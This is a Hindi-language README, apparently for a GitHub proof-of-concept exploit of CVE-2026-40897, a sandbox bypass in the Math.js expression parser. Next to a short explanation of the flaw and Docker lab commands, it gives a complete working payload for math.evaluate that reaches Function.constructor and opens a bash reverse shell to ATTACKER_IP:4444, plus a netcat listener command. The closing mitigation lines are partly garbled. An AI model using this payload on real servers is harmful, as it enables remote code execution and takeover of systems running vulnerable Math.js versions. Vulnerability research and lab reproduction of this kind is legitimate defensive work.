
CVE-2026-40897 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Math.js एक्सप्रेशन पार्सर सैंडबॉक्स बायपास है और क्राफ्टेड पेलोड तथा एक Docker लैब के माध्यम से रिमोट कोड एक्ज़ीक्यूशन को सक्षम बनाता है।
★ CVE-2026-40897 Math.js PoC में रिमोट कोड एक्ज़ीक्यूशन ★
https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898
CVE-2026-40897 Math.js के एक्सप्रेशन पार्सर में एक सैंडबॉक्स बायपास जो रिमोट कोड एक्ज़ीक्यूशन की ओर ले जाता है वाली भेद्यता है।
isSafePropertyफ़िल्टर केवल उपयोगकर्ता एक्सप्रेशन से प्रॉपर्टी एक्सेस की जाँच करता है, आंतरिक कोड पाथ से नहीं।toJSON()के माध्यम सेArrayNodeकी आंतरिक ऐरे को लीक करके और उसके.mapको ओवरराइट करके, एक हमलावर आंतरिक कोड कोFunction.constructorतक पहुँचने और मनमाना JavaScript निष्पादित करने के लिए बाध्य कर सकता है।
| श्रेणी | संस्करण |
|---|---|
| भेद्य | Math.js 13.1.1 ≤ संस्करण ≤ 15.1.1 |
| पैच किया गया | 15.2.0 |
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln
भेद्य वातावरण शुरू करने के बाद, हमले को पुन: उत्पन्न करने के लिए नीचे दिए गए चरणों का पालन करें।
nc -lvnp 4444
निम्नलिखित एक्सप्रेशन को math.evaluate पर भेजें (उदाहरण के लिए, एप्लिकेशन के कैलकुलेशन इनपुट के माध्यम से)।
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()
लक्ष्य सर्वर हमलावर के लिसनर से वापस कनेक्ट होता है, जिससे एक इंटरैक्टिव bash शेल प्राप्त होता है।
math.evaluate() पर पास करने से बचेंreviver, FunctionAssignmentNode, ArrayNode) के एक्सपोज़र को प्रतिबंधित करें